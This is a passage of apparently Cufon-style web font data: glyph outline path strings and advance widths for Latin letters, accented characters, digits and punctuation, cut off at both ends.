-3,44,-2,92,-2,139xm364,-121v-3,61,-68,59,-104,85r112,0r0,36r-145,0r0,-25v26,-29,84,-43,87,-97v1,-25,-19,-41,-45,-32v10,17,8,46,-18,46v-13,0,-22,-11,-22,-23v0,-55,138,-53,135,10","w":385},{"d":"199,-25r-10,8v-27,-22,-61,-38,-83,-65v-11,-36,18,-46,41,-63r42,-30r10,8r-55,72xm121,-25r-9,8v-27,-22,-61,-38,-83,-65v-11,-36,18,-46,41,-63r42,-30r9,8r-54,72","w":219},{"d":"12,-122v-6,-110,113,-161,208,-118v6,-6,12,-11,26,-9r2,91r-16,0v-16,-45,-30,-81,-79,-81v-52,0,-71,52,-70,111v0,62,17,115,69,117v18,0,37,-7,46,-15r0,-51v2,-21,-21,-21,-38,-24r0,-14r130,0r0,14v-42,-5,-32,41,-31,79v-22,14,-80,30,-116,29v-81,-2,-128,-48,-131,-129","w":290},{"d":"184,-328v29,-7,34,28,9,38r-75,29r-6,-7v33,-26,31,-51,72,-60xm236,-91v-2,-61,17,-146,-45,-145r0,-13r108,0r0,13v-63,-2,-43,91,-43,152v0,56,-44,91,-101,91v-67,0,-111,-29,-111,-91r0,-128v0,-18,-18,-22,-34,-24r0,-13r131,0r0,13v-18,1,-35,4,-35,22v0,82,-26,200,64,197v42,-2,68,-28,66,-74","w":300},{"d":"320,-37v-2,20,19,20,35,23r0,14r-135,0r0,-14v18,-1,38,-2,38,-23r0,-186r-85,219r-23,0r-81,-222r0,152v-4,41,14,56,44,60r0,14r-107,0r0,-14v18,-2,38,-5,40,-25v5,-45,2,-106,3,-157v1,-28,-16,-39,-41,-40r0,-13r115,0r61,164r60,-164r111,0r0,13v-16,2,-35,3,-35,23r0,176","w":368},{"d":"68,-254v17,0,34,15,34,32v0,16,-17,33,-34,33v-17,0,-34,-16,-34,-33v0,-18,17,-33,34,-32xm75,-168v5,51,22,94,27,140v1,18,-16,34,-34,33v-57,-5,-24,-78,-17,-117v3,-14,6,-33,10,-56r14,0","w":135},{"d":"127,-202v15,0,28,14,28,29v0,16,-13,30,-28,30v-15,0,-29,-14,-29,-30v0,-16,14,-29,29,-29xm224,-87r-195,0r0,-28r195,0r0,28xm127,-59v15,0,28,14,28,30v0,15,-14,29,-28,29v-15,0,-29,-13,-29,-29v0,-16,14,-30,29,-30"},{"d":"76,-239v7,17,4,37,-22,37v-13,0,-27,-6,-24,-20v10,-47,132,-52,131,13r-1,66v-1,15,9,18,25,17r0,12v-21,11,-66,11,-72,-13v-17,27,-90,30,-90,-15v0,-46,59,-43,90,-59v1,-22,1,-43,-21,-42v-7,0,-13,1,-16,4xm73,-150v-2,26,32,24,40,9r0,-46v-19,7,-38,12,-40,37","w":198},{"d":"184,-303v20,2,24,-11,29,-25r13,4v-9,24,-22,52,-53,53v-29,1,-42,-16,-66,-20v-15,2,-17,12,-25,26r-13,-5v9,-22,21,-50,52,-52v28,-1,40,17,63,19xm148,-256v82,0,135,48,135,130v0,83,-51,133,-137,133v-80,0,-134,-48,-134,-129v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"92,-255v77,0,115,84,62,130v-16,15,-37,23,-64,25r-1,24r-16,0r0,-68v58,7,76,-93,17,-97v-10,0,-17,3,-24,7v10,22,12,56,-23,56v-18,0,-29,-13,-29,-29v1,-30,42,-48,78,-48xm82,-60v18,0,33,16,33,33v0,18,-16,32,-33,32v-17,1,-34,-14,-34,-32v0,-17,16,-33,34,-33","w":197},{"d":"181,-70r-74,53r-9,-8r54,-70r-54,-72r9,-8v31,29,114,54,74,105xm104,-70r-74,53r-9,-8r54,-70r-54,-72r9,-8v31,30,113,53,74,105","w":219},{"d":"222,-2r-38,0r0,67r-59,0r0,-67r-116,0r0,-32r126,-160r49,0r0,155r38,0r0,37xm125,-39r0,-113r-89,113r89,0","w":233},{"d":"254,53r-255,0r0,-21r255,0r0,21"},{"d":"206,-39v-2,18,14,22,31,22r0,13v-29,0,-63,7,-89,3v-1,-5,1,-13,-1,-17v-10,11,-32,25,-53,24v-49,0,-80,-44,-82,-95v-2,-66,76,-113,136,-79r0,-58v-1,-22,-19,-28,-40,-29r0,-13r95,-4r3,3r0,230xm117,-20v15,0,24,-6,31,-15v-5,-48,18,-127,-32,-127v-51,0,-60,140,1,142","w":238},{"d":"168,-207v-3,61,-68,59,-104,85r112,0r0,36r-145,0r0,-25v26,-29,84,-43,87,-97v1,-25,-19,-41,-45,-32v10,17,8,46,-18,46v-13,0,-22,-11,-22,-23v0,-55,138,-53,135,10","w":198},{"d":"149,54r-116,0r0,-321r116,0r0,17r-61,0r0,287r61,0r0,17","w":160},{"d":"114,-290v-26,-9,-21,-41,8,-38v24,2,29,19,44,32r29,28r-6,7v-28,-13,-52,-21,-75,-29xm148,-256v82,0,135,48,135,130v0,83,-51,133,-137,133v-80,0,-134,-48,-134,-129v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"206,-266r-6,5r-62,-36r-60,36r-6,-5v25,-21,32,-70,81,-60v26,24,21,24,53,60xm56,-35v-3,19,16,19,36,21r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r86,-208r36,0r87,216v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,14,-15,33,-17,48xm152,-101r-36,-90r-36,90r72,0","w":272},{"d":"211,-38v0,16,12,23,29,21r0,13v-28,0,-62,7,-87,3v-1,-7,2,-18,-1,-23v-17,15,-31,29,-66,29v-66,0,-53,-76,-54,-140v-1,-16,-12,-24,-29,-24r0,-13v28,1,62,-7,87,-2r0,117v-6,45,51,40,63,15r0,-95v-1,-16,-12,-23,-30,-22r0,-13v28,0,63,-7,88,-2r0,136xm163,-267v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm75,-267v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":243},{"d":"146,-315v12,-24,68,-11,48,16v-22,18,-58,23,-89,38r-6,-7xm56,-35v-3,19,16,19,36,21r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r86,-208r36,0r87,216v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,14,-15,33,-17,48xm152,-101r-36,-90r-36,90r72,0","w":272},{"d":"206,-229v-4,-6,-14,-6,-26,-7r0,-13r109,0r0,13v-64,5,-86,54,-122,85r88,109v12,14,25,27,50,28r0,14r-99,0v-30,-47,-55,-75,-86,-115r-9,0r0,78v-1,19,17,21,33,23r0,14r-132,0r0,-14v17,-1,37,-2,37,-21r0,-177v1,-19,-21,-21,-37,-24r0,-13r137,0r0,13v-17,2,-38,2,-38,23r0,84r7,0v28,-28,74,-61,88,-100","w":294},{"d":"158,-268r-122,343r-31,0r121,-343r32,0","w":169},{"d":"170,-261v84,0,155,72,155,155v0,83,-71,155,-155,155v-84,0,-156,-71,-156,-155v0,-84,72,-155,156,-155xm170,34v75,0,138,-64,138,-140v0,-76,-63,-140,-138,-140v-76,0,-139,65,-139,140v0,76,63,140,139,140xm204,-106v24,21,33,65,73,70r0,11r-64,0r-53,-74r-6,0v2,26,-10,67,21,63r0,11r-85,0r0,-11v11,-1,23,-3,23,-15r0,-111v2,-13,-14,-14,-23,-17r0,-10v58,4,153,-18,153,39v0,26,-18,37,-39,44xm154,-111v29,2,45,-8,44,-36v0,-25,-18,-30,-44,-30r0,66","w":339},{"d":"12,-122v-4,-105,110,-163,202,-118v6,-6,13,-11,27,-9r1,91r-15,0v-16,-45,-29,-81,-77,-81v-52,0,-67,51,-67,111v0,62,17,110,76,110v41,0,61,-24,79,-54r15,9v-20,40,-51,70,-110,70v-80,0,-128,-49,-131,-129","w":257},{"d":"111,-49v-8,47,61,36,90,24v12,-11,26,-39,33,-55r13,0r-5,80r-230,0r0,-14v18,-1,37,-2,37,-22r0,-176v1,-19,-21,-21,-37,-24r0,-13r137,0r0,13v-17,2,-38,2,-38,23r0,164","w":246},{"d":"91,-34v-1,16,12,19,26,21r0,13r-110,0r0,-13v15,0,26,-3,26,-19r0,-195v0,-19,-16,-26,-33,-28r0,-13r88,-4r3,3r0,235","w":123},{"d":"85,75r-30,0r0,-343r30,0r0,343","w":139},{"d":"66,-175v18,0,35,17,35,35v0,18,-17,34,-35,34v-18,0,-35,-17,-35,-34v0,-17,17,-35,35,-35xm66,-64v17,0,35,17,35,35v0,18,-17,34,-35,34v-18,0,-35,-17,-35,-34v0,-17,17,-35,35,-35","w":132},{"d":"207,-328v15,0,28,14,28,29v0,16,-13,30,-28,30v-15,0,-28,-14,-28,-30v0,-15,14,-29,28,-29xm113,-328v35,0,36,59,0,59v-15,1,-29,-15,-28,-30v0,-15,12,-29,28,-29xm236,-91v-2,-61,17,-146,-45,-145r0,-13r108,0r0,13v-63,-2,-43,91,-43,152v0,56,-44,91,-101,91v-67,0,-111,-29,-111,-91r0,-128v0,-18,-18,-22,-34,-24r0,-13r131,0r0,13v-18,1,-35,4,-35,22v0,82,-26,200,64,197v42,-2,68,-28,66,-74","w":300},{"d":"56,-35v-3,19,16,19,36,21r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r86,-208r36,0r87,216v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,14,-15,33,-17,48xm152,-101r-36,-90r-36,90r72,0","w":272},{"d":"182,-14v17,0,36,-3,36,-21r0,-86r-107,0r0,84v-1,19,19,21,36,23r0,14r-135,0r0,-14v17,0,37,-2,37,-21r0,-177v0,-18,-21,-22,-37,-24r0,-13r135,0r0,13v-16,2,-36,3,-36,23r0,74r107,0r0,-73v0,-18,-21,-20,-36,-24r0,-13r135,0r0,13v-16,3,-37,3,-37,23r0,176v-1,20,19,22,37,23r0,14r-135,0r0,-14","w":328},{"d":"217,-134r-35,0r-55,-90r-56,90r-34,0r77,-122r25,0"},{"d":"39,-134v0,-17,-16,-24,-34,-25r0,-13v30,0,66,-7,92,-2r0,153v-2,59,-35,93,-95,99v-45,4,-62,-57,-16,-57v26,0,27,20,39,41v27,-31,14,-134,14,-196xm63,-272v18,0,35,14,35,32v0,18,-17,32,-35,32v-18,0,-35,-14,-35,-32v0,-18,17,-32,35,-32","w":124},{"d":"195,-328v35,0,36,59,0,59v-15,1,-28,-14,-28,-30v0,-15,14,-29,28,-29xm100,-328v15,0,28,14,28,29v0,16,-13,31,-28,30v-37,0,-34,-59,0,-59xm148,-256v82,0,135,48,135,130v0,83,-51,133,-137,133v-80,0,-134,-48,-134,-129v0,-82,52,-134,136,-134xm148,-10v55,0,64,-56,64,-115v0,-56,-10,-114,-64,-114v-51,0,-66,53,-65,115v1,58,10,114,65,114","w":295},{"d":"144,-249v83,2,144,40,144,126v0,85,-64,123,-150,123r-126,0r0,-14v18,0,38,-2,37,-21r0,-86r-35,0r0,-18r35,0r0,-73v0,-18,-21,-22,-37,-24r0,-13r132,0xm144,-16v59,-3,73,-47,73,-107v-1,-71,-27,-118,-106,-110r0,94r54,0r0,18r-54,0v4,42,-17,107,33,105","w":300},{"d":"80,-106v0,77,16,134,69,148r0,16v-147,-4,-172,-261,-47,-313v15,-7,31,-12,47,-14r0,16v-54,13,-69,71,-69,147","w":160},{"d":"66,-175v18,0,35,17,35,35v0,18,-17,34,-35,34v-18,0,-35,-17,-35,-34v0,-17,17,-35,35,-35xm62,-60v45,0,50,64,22,95v-13,14,-26,25,-43,33r-8,-12v21,-12,42,-25,44,-56v-52,12,-61,-60,-15,-60","w":132},{"d":"84,-137v45,-49,134,-19,134,56v0,51,-46,87,-99,87v-112,0,-128,-151,-57,-211v31,-26,67,-45,117,-51r5,17v-62,6,-90,45,-100,102xm119,-9v46,-3,49,-128,-1,-128v-24,0,-36,11,-36,41v0,43,7,82,37,87","w":233},{"d":"59,-64v17,0,35,17,35,35v0,18,-17,34,-35,34v-18,0,-35,-17,-35,-34v0,-17,17,-35,35,-35","w":118},{"d":"49,-212v1,-19,-22,-20,-37,-24r0,-13r224,0r0,66r-13,0v-10,-26,-31,-57,-73,-51r-39,0r0,98v43,5,67,-9,70,-43r14,0r0,105r-14,0v-3,-34,-25,-52,-70,-45r0,82v-1,20,20,21,36,23r0,14r-135,0r0,-14v17,-1,37,-2,37,-22r0,-176","w":241},{"d":"161,-140v36,13,62,31,64,70v4,96,-207,106,-207,10v0,-37,26,-52,61,-60v-28,-13,-50,-34,-51,-68v-1,-86,187,-94,187,-7v0,33,-24,46,-54,55xm149,-146v13,-30,16,-95,-27,-95v-36,0,-47,54,-18,71v12,7,32,18,45,24xm123,-9v44,0,57,-58,23,-78v-15,-9,-38,-18,-54,-27v-24,30,-20,105,31,105","w":243},{"d":"144,-249v83,2,144,40,144,126v0,85,-64,123,-150,123r-126,0r0,-14v18,0,38,-2,37,-21r0,-177v0,-18,-21,-22,-37,-24r0,-13r132,0xm144,-16v59,0,73,-47,73,-107v-1,-71,-27,-118,-106,-110r0,190v1,19,12,27,33,27","w":300},{"d":"49,-212v2,-20,-22,-20,-37,-24r0,-13r221,0r0,63r-13,0v-11,-38,-49,-56,-109,-48r0,97v42,4,68,-9,71,-43r14,0r0,104r-14,0v-3,-35,-26,-52,-71,-45v4,46,-19,116,41,105v56,9,72,-31,86,-62r13,0r-5,78r-234,0r0,-14v18,-1,38,-4,37,-22r0,-176","w":259},{"d":"248,-190v0,40,-25,57,-61,67r76,94v10,12,18,13,35,15r0,14r-95,0v-17,-25,-30,-45,-41,-60v-11,-15,-25,-32,-41,-52r-10,0r0,75v-2,19,19,20,34,23r0,14r-133,0r0,-14v18,0,38,-4,37,-22r0,-176v2,-20,-23,-20,-37,-24r0,-13v90,7,236,-29,236,59xm111,-129v44,2,69,-13,68,-56v0,-39,-26,-51,-68,-48r0,104","w":287},{"d":"202,-266r-6,5r-61,-36r-61,36r-6,-5v18,-20,32,-43,52,-60v28,-9,42,10,53,25v6,9,7,9,29,35xm49,-212v2,-20,-22,-20,-37,-24r0,-13r221,0r0,63r-13,0v-11,-38,-49,-56,-109,-48r0,97v42,4,68,-9,71,-43r14,0r0,104r-14,0v-3,-35,-26,-52,-71,-45v4,46,-19,116,41,105v56,9,72,-31,86,-62r13,0r-5,78r-234,0r0,-14v18,-1,38,-4,37,-22r0,-176","w":259},{"d":"95,-34v-1,16,13,19,26,21r0,13r-111,0r0,-13v15,0,27,-3,27,-19r0,-102v-1,-17,-14,-23,-31,-25r0,-13v29,0,64,-7,89,-2r0,140xm120,-199r-9,5r-53,-45r-52,45r-9,-5v16,-23,26,-52,46,-71v53,-9,51,38,77,71","w":127},{"d":"49,-83v52,-32,152,-17,152,60v0,55,-50,89,-107,88v-39,1,-84,-19,-84,-52v0,-16,12,-30,29,-30v35,0,37,39,24,63v47,12,70,-24,73,-69v3,-56,-72,-74,-95,-32r-14,-5r17,-129r148,0r0,48r-135,0","w":215},{"d":"11,-14v17,-1,38,0,38,-21r0,-177v2,-20,-23,-20,-38,-24r0,-13r138,0r0,13v-17,2,-38,3,-38,23r0,176v-1,19,21,21,38,23r0,14r-138,0r0,-14xm124,-329v15,0,28,15,28,30v0,14,-13,29,-28,29v-16,0,-29,-14,-29,-29v0,-15,14,-30,29,-30xm36,-329v15,0,29,15,29,30v0,15,-13,29,-29,29v-15,0,-28,-15,-28,-29v1,-15,12,-30,28,-30","w":160},{"d":"85,-127r-30,0r0,-141r30,0r0,141xm85,75r-30,0r0,-143r30,0r0,143","w":139},{"d":"221,-123r-188,0r0,-29r188,0r0,29xm221,-50r-188,0r0,-29r188,0r0,29"},{"d":"87,-154v46,-54,133,-12,133,68v0,67,-75,114,-134,79r0,49v-1,20,21,21,38,23r0,13r-127,0r0,-13v16,0,31,-3,31,-21r0,-272v-1,-18,-14,-26,-32,-27r0,-13v29,0,64,-7,90,-2xm118,-11v51,0,58,-140,-2,-141v-15,-1,-23,7,-30,14v4,49,-17,127,32,127","w":232},{"d":"161,-239v19,2,22,-12,28,-25r13,4v-9,24,-22,52,-53,53v-28,1,-42,-16,-65,-20v-15,1,-18,12,-26,26r-13,-5v9,-23,23,-50,52,-52v29,-2,41,17,64,19xm217,-34v0,16,11,19,25,21r0,13r-106,0v-7,-22,27,-7,23,-32v-6,-42,17,-118,-26,-118v-19,0,-31,10,-39,22r0,94v-1,15,10,19,23,21r0,13r-107,0r0,-13v16,0,29,-4,27,-19v-5,-46,21,-124,-29,-127r0,-13v28,0,62,-7,86,-2v1,8,-2,20,1,26v17,-14,32,-31,64,-31v70,0,59,78,58,145","w":248},{"d":"159,-138v10,-17,-10,-21,-23,-24r0,-12r73,0r0,12v-39,9,-41,59,-59,89v-33,54,-39,138,-109,151v-38,7,-53,-58,-10,-57v19,0,28,13,38,25v8,-8,23,-27,27,-41r-74,-148v-5,-11,-14,-17,-27,-19r0,-12r108,0r0,12v-9,1,-27,3,-20,17r43,86xm109,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":202},{"d":"93,-290v-26,-9,-20,-40,9,-38v24,2,29,18,43,32r29,28r-6,7v-28,-13,-52,-21,-75,-29xm56,-35v-3,19,16,19,36,21r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r86,-208r36,0r87,216v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,14,-15,33,-17,48xm152,-101r-36,-90r-36,90r72,0","w":272},{"d":"92,-234v-48,-7,-65,25,-76,56r-14,0r0,-71r242,0r0,71r-14,0v-12,-29,-26,-65,-76,-56r0,196v-1,20,21,22,39,24r0,14r-139,0r0,-14v16,-1,38,-1,38,-22r0,-198","w":246},{"d":"77,-16v56,6,90,-4,91,-50r13,0r0,66r-173,0r0,-12r101,-146r-38,0v-32,-4,-37,19,-44,41r-12,0r0,-57r163,0r0,11","w":189},{"d":"133,-269v59,6,9,84,6,124r-12,0v-4,-28,-23,-73,-23,-96v0,-15,13,-30,29,-28xm50,-269v59,6,9,84,6,124r-12,0v-4,-28,-23,-73,-23,-96v0,-15,13,-30,29,-28","w":183},{"d":"191,-44v-16,27,-39,50,-80,50v-62,0,-99,-33,-99,-94v0,-56,41,-90,102,-91v37,0,70,13,70,45v0,18,-9,28,-30,28v-33,0,-35,-30,-25,-53v-36,-22,-53,29,-53,69v0,36,19,70,50,70v28,0,40,-14,52,-33","w":191},{"d":"66,-175v18,0,35,17,35,35v0,18,-17,34,-35,34v-18,0,-35,-17,-35,-34v0,-17,17,-35,35,-35xm62,-60v45,0,50,64,22,95v-13,14,-26,25,-43,33r-8,-12v21,-12,42,-25,44,-56v-52,12,-61,-60,-15,-60","w":132},{"d":"12,-122v-4,-105,110,-163,202,-118v6,-6,13,-11,27,-9r1,91r-15,0v-16,-45,-29,-81,-77,-81v-52,0,-67,51,-67,111v0,62,17,110,76,110v41,0,61,-24,79,-54r15,9v-20,40,-50,69,-110,69r0,11v41,-8,59,41,23,55v-16,5,-33,6,-58,6r0,-14v19,-1,44,4,44,-14v0,-12,-12,-10,-25,-11r0,-33v-69,-9,-113,-52,-115,-128","w":257},{"d":"211,-38v0,16,12,23,29,21r0,13v-28,0,-62,7,-87,3v-1,-7,2,-18,-1,-23v-17,15,-31,29,-66,29v-66,0,-53,-76,-54,-140v-1,-16,-12,-24,-29,-24r0,-13v28,1,62,-7,87,-2r0,117v-6,45,51,40,63,15r0,-95v-1,-16,-12,-23,-30,-22r0,-13v28,0,63,-7,88,-2r0,136","w":243},{"d":"120,50v0,-11,-12,-10,-24,-11r0,-34v-52,-6,-84,-36,-84,-93v0,-56,41,-90,102,-91v37,0,70,13,70,45v0,18,-9,28,-30,28v-33,0,-35,-30,-25,-53v-36,-22,-53,29,-53,69v0,36,19,70,50,70v28,0,40,-14,52,-33r13,9v-15,27,-38,49,-80,49r0,12v42,-7,60,41,24,55v-16,6,-34,6,-59,6r0,-14v18,-1,44,5,44,-14","w":191},{"d":"203,-65v25,29,40,48,86,51r0,14r-103,0r-22,-26v-37,47,-153,43,-152,-32v1,-45,31,-61,63,-77v-17,-22,-26,-33,-28,-63v-5,-67,133,-82,133,-11v0,33,-18,47,-44,62r57,70v10,-17,22,-32,22,-53v0,-12,-17,-11,-30,-15r0,-13r99,0r0,13v-55,0,-53,53,-81,80xm127,-158v28,-12,40,-78,-1,-81v-44,6,-19,61,1,81xm83,-124v-37,36,-8,119,54,96v5,-2,11,-4,17,-9","w":287},{"d":"141,-231r-32,-5r0,-13r250,0r0,63r-14,0v-10,-38,-47,-55,-105,-48r0,97v42,5,63,-12,68,-43r13,0r0,104r-13,0v-5,-32,-23,-52,-68,-45v7,43,-23,116,39,105v59,9,68,-32,85,-62r12,0r-4,78r-231,0r0,-14v18,-1,37,-2,37,-22r0,-68r-87,0v-19,35,-29,45,-39,76v1,13,21,12,34,14r0,14r-103,0r0,-14v24,-2,39,-14,49,-31xm178,-121r0,-113r-14,0r-64,113r78,0","w":385},{"d":"114,-160v-2,35,24,38,54,41r0,26v-30,3,-58,7,-54,42v6,57,-2,107,-59,107v-13,1,-28,3,-43,3r0,-16v42,3,45,-28,45,-73v0,-45,27,-61,64,-69r0,-13v-49,-6,-70,-40,-64,-103v3,-31,-18,-38,-45,-40r0,-15v58,-1,106,8,104,67","w":180},{"d":"135,-315v12,-25,71,-7,47,16v-20,20,-57,23,-88,38r-6,-7xm49,-212v2,-20,-22,-20,-37,-24r0,-13r221,0r0,63r-13,0v-11,-38,-49,-56,-109,-48r0,97v42,4,68,-9,71,-43r14,0r0,104r-14,0v-3,-35,-26,-52,-71,-45v4,46,-19,116,41,105v56,9,72,-31,86,-62r13,0r-5,78r-234,0r0,-14v18,-1,38,-4,37,-22r0,-176","w":259},{"d":"127,-116v0,15,18,16,32,17r0,13r-110,0r0,-13v13,-2,33,1,33,-16r0,-102r-34,0v1,-7,-3,-18,7,-15v25,1,41,-9,50,-23r24,0v-3,44,-2,92,-2,139","w":198},{"d":"334,-34v-1,16,11,19,25,21r0,13r-104,0v-6,-22,25,-7,21,-32v-7,-42,16,-115,-25,-118v-19,-2,-30,11,-37,22r0,94v0,14,9,19,21,21r0,13r-100,0v-7,-22,25,-6,21,-32v-7,-41,17,-115,-25,-118v-19,-1,-30,11,-37,22r0,94v0,14,9,19,21,21r0,13r-105,0r0,-13v16,0,27,-4,27,-19v0,-46,21,-124,-29,-127r0,-13v28,0,62,-7,86,-2v1,8,-2,19,1,25v22,-35,100,-41,118,2v16,-15,34,-32,66,-32v68,0,55,79,55,145","w":365},{"d":"188,-288v0,19,-13,33,-30,38r86,213v7,13,18,23,39,23r0,14r-136,0r0,-14v10,-1,45,-2,33,-18r-21,-51r-86,0v-7,16,-16,34,-17,54v2,12,18,14,36,15r0,14r-102,0r0,-14v24,-1,37,-12,45,-31r85,-204v-18,-5,-32,-17,-32,-39v0,-25,24,-40,50,-40v27,0,50,15,50,40xm152,-101r-36,-90r-36,90r72,0xm138,-258v16,0,23,-12,23,-29v0,-16,-7,-29,-23,-29v-15,0,-25,12,-24,29v0,16,8,29,24,29","w":272},{"d":"49,-269v59,7,8,83,5,124r-12,0v-4,-28,-23,-73,-23,-96v0,-16,13,-30,30,-28","w":96},{"d":"178,-133v12,16,13,48,0,64r41,42r-19,19r-41,-41v-18,12,-47,12,-65,0r-41,41r-19,-20r41,-41v-13,-16,-12,-47,0,-64r-41,-41r19,-19r41,41v16,-12,47,-13,64,-1r41,-40r20,19xm126,-64v19,0,36,-17,36,-36v1,-20,-16,-37,-36,-37v-19,0,-36,18,-36,37v0,19,17,36,36,36"},{"d":"165,-142v-57,5,-137,-20,-137,39r-12,0r0,-86r185,0r0,21r-128,233r-26,0","w":199},{"d":"224,-87r-83,0r0,83r-29,0r0,-83r-83,0r0,-28r83,0r0,-83r29,0r0,83r83,0r0,28"},{"d":"128,54r-116,0r0,-17r61,0r0,-287r-61,0r0,-17r116,0r0,321","w":160},{"w":91},{"d":"12,-249v90,7,234,-29,234,62v0,68,-63,82,-135,80r0,70v-1,20,20,20,36,23r0,14r-135,0r0,-14v18,-1,37,-2,37,-22r0,-176v1,-19,-21,-21,-37,-24r0,-13xm111,-124v42,2,66,-14,66,-54v0,-44,-20,-58,-66,-55r0,109","w":252},{"d":"92,-154v46,-54,142,-11,132,68v5,67,-74,114,-133,79r0,49v-2,21,21,21,38,23r0,13r-127,0r0,-13v16,0,31,-3,31,-21r0,-179v-1,-17,-14,-23,-31,-24r0,-13v29,0,64,-7,89,-2v1,6,-1,15,1,20xm123,-11v51,0,56,-140,-2,-141v-15,-1,-24,6,-30,14v4,49,-17,127,32,127","w":236},{"d":"121,-76r-106,0r0,-39r106,0r0,39","w":136},{"d":"131,-272v25,-1,45,9,45,30v-1,17,-8,28,-27,27v-26,-2,-28,-18,-39,-42v-19,10,-15,44,-16,83r49,0r0,19r-49,0r0,121v0,18,19,19,35,21r0,13r-118,0v-6,-23,26,-7,26,-32r0,-123r-36,0r0,-19r36,0v1,-60,32,-97,94,-98","w":141},{"d":"114,-179v63,0,102,30,102,91v0,62,-40,94,-103,94v-60,0,-101,-33,-101,-93v0,-60,40,-91,102,-92xm115,-9v35,0,37,-41,37,-79v0,-34,-1,-78,-37,-77v-35,1,-38,38,-38,76v0,41,1,80,38,80xm112,-254v8,-26,67,-23,50,10v-19,19,-56,34,-81,50r-8,-6","w":228},{"d":"159,-138v10,-17,-10,-21,-23,-24r0,-12r73,0r0,12v-39,9,-41,59,-59,89v-33,54,-39,138,-109,151v-38,7,-53,-58,-10,-57v19,0,28,13,38,25v8,-8,23,-27,27,-41r-74,-148v-5,-11,-14,-17,-27,-19r0,-12r108,0r0,12v-9,1,-27,3,-20,17r43,86","w":202},{"d":"208,-185v14,-26,16,-54,-27,-50r0,-14r101,0r0,14v-56,8,-62,73,-80,118r-49,120r-36,0r-86,-209v-8,-18,-20,-26,-42,-30r0,-13r135,0r0,13v-21,4,-38,2,-30,21r64,158","w":274},{"d":"11,-14v17,-1,38,0,38,-21r0,-177v2,-20,-23,-20,-38,-24r0,-13r138,0r0,13v-17,2,-38,3,-38,23r0,176v-1,19,21,21,38,23r0,14r-138,0r0,-14","w":160},{"d":"206,41v-2,19,16,22,32,24r0,13r-123,0r0,-13v16,0,35,-2,33,-21v-2,-19,4,-46,-2,-61v-47,50,-134,6,-134,-72v0,-80,101,-112,164,-73v11,-7,17,-28,32,-20xm117,-21v16,0,23,-7,31,-14v-5,-49,18,-129,-33,-129v-51,0,-59,143,2,143","w":233},{"d":"163,-144v2,-15,-15,-15,-25,-18r0,-12r73,0r0,12v-34,6,-38,47,-52,73v-15,29,-30,58,-39,91r-32,0r-65,-145v-4,-11,-17,-16,-28,-19r0,-12r109,0r0,12v-10,0,-31,5,-20,17r41,92","w":204},{"d":"220,-73v0,84,-119,96,-179,61v-7,6,-11,15,-27,12r-3,-90r15,0v17,36,36,75,87,79v40,3,66,-42,38,-66v-40,-35,-133,-27,-133,-104v0,-76,106,-90,161,-58v6,-6,12,-12,26,-10r1,85r-15,0v-14,-34,-28,-72,-73,-75v-34,-3,-59,40,-33,62v41,35,135,26,135,104","w":233},{"d":"108,-212v2,-20,-22,-20,-36,-24r0,-13r133,0r0,13v-17,3,-34,2,-34,23r0,137v-3,54,-41,80,-95,83v-41,1,-73,-22,-73,-60v0,-22,13,-37,35,-37v19,0,33,13,33,31v1,21,-19,27,-26,41v29,23,63,-9,63,-53r0,-141","w":214},{"d":"295,-251r-144,251r-27,0r143,-251r28,0xm371,-40r-27,0r0,44r-41,0r0,-44r-84,0r0,-24r89,-106r36,0r0,104r27,0r0,26xm303,-66r0,-74r-62,74r62,0xm116,-174v27,3,51,13,51,43v1,63,-138,71,-147,13v-2,-14,9,-23,22,-24v26,-2,28,28,19,46v28,9,56,-2,56,-36v0,-28,-17,-34,-46,-32r0,-16v28,2,41,-9,41,-36v1,-21,-21,-31,-43,-24v9,16,10,45,-17,45v-14,0,-23,-10,-22,-23v4,-50,127,-54,129,2v1,28,-24,32,-43,42","w":385},{"d":"136,-127v8,-7,33,-37,0,-35r0,-12r70,0r0,12v-39,12,-48,39,-75,63v21,27,37,57,61,81v4,3,10,4,19,5r0,13r-110,0r0,-13v32,2,14,-19,3,-34v-8,-12,-8,-11,-15,-21v-12,16,-28,28,-36,47v0,8,12,7,19,8r0,13r-71,0r0,-13v42,-14,50,-40,79,-68v-20,-25,-35,-55,-59,-76v-5,-2,-11,-4,-18,-5r0,-12r107,0r0,12v-25,-1,-13,14,-3,28v7,11,8,11,16,23","w":211},{"d":"126,-195v66,0,108,35,108,101v0,64,-41,100,-108,100v-67,0,-108,-36,-108,-100v0,-64,41,-101,108,-101xm126,-9v38,-4,42,-42,42,-85v0,-41,-3,-85,-42,-85v-39,0,-42,44,-42,85v0,42,5,81,42,85","w":252},{"d":"178,-133v39,7,80,20,80,65v0,99,-149,60,-246,68r0,-14v18,-1,37,-3,37,-22r0,-176v1,-20,-22,-20,-37,-24r0,-13v86,7,232,-28,232,55v0,39,-34,49,-66,58r0,3xm111,-140v40,2,64,-14,65,-49v0,-35,-25,-48,-65,-44r0,93xm111,-32v21,34,86,9,77,-38v1,-42,-32,-58,-77,-53r0,91","w":272},{"w":91},{"d":"151,-239v19,2,23,-11,28,-25r14,4v-9,24,-22,52,-53,53v-29,1,-42,-16,-66,-20v-15,2,-17,12,-25,26r-13,-5v9,-23,23,-50,52,-52v28,-2,40,17,63,19xm114,-179v63,0,102,30,102,91v0,62,-40,94,-103,94v-60,0,-101,-33,-101,-93v